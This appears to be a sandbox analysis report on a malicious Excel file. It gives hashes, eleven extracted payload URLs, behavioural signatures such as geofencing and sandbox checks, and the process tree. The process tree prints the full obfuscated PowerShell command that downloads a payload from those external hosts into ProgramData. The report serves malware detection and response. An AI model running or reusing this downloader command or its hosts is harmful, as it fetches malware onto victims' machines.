Analysis
-
max time kernel
53s -
max time network
61s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 21:17
Behavioral task
behavioral1
Sample
8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls
Resource
win10v2004-20241007-en
General
-
Target
8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls
-
Size
88KB
-
MD5
e499a61d7eccf4ca418cef1470b053da
-
SHA1
cd1bb9426abdd21729d81560642b8284918a469a
-
SHA256
8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60
-
SHA512
746d00a46b219614d0cf55b746fe1aeae0dda3a6c538b3e8f6bb239a2612ddbc21bcbeab2ce19149f362dc3abbc8b70f946c9d4ab54ed43dde9eb86e39fe1cc1
-
SSDEEP
1536:2yehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQACkWvgrPE4nWHPNc2Ax:2yehv7q2Pjx45uoDGTj+5xtekEvi8/dG
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
wscript.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2112 3484 wscript.exe 82 -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid Process 19 3960 powershell.exe 38 3960 powershell.exe 41 3960 powershell.exe 46 3960 powershell.exe 60 3960 powershell.exe 62 3960 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 3484 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3960 powershell.exe 3960 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3960 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid Process 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEwscript.exedescription pid Process procid_target PID 3484 wrote to memory of 2112 3484 EXCEL.EXE 87 PID 3484 wrote to memory of 2112 3484 EXCEL.EXE 87 PID 2112 wrote to memory of 3960 2112 wscript.exe 89 PID 2112 wrote to memory of 3960 2112 wscript.exe 89
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize4KB
MD5714275ea321076fbbbad1dd529862a44
SHA1e03076ab45e8dc1b45185e31c97a697f8044990b
SHA2565683d3a499d0a29cf804da3384e8f593cae096b78706860ece1787f82fef908c
SHA5123b6d25ca57199fb313ab61d4e1b539ab32f0abced8edd72e33583fb3fa840b4bc87941e0c0c53eb08bf81bbc3fc42b590f07b59e1abbcc3f0d542c1dfb834298
-
Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f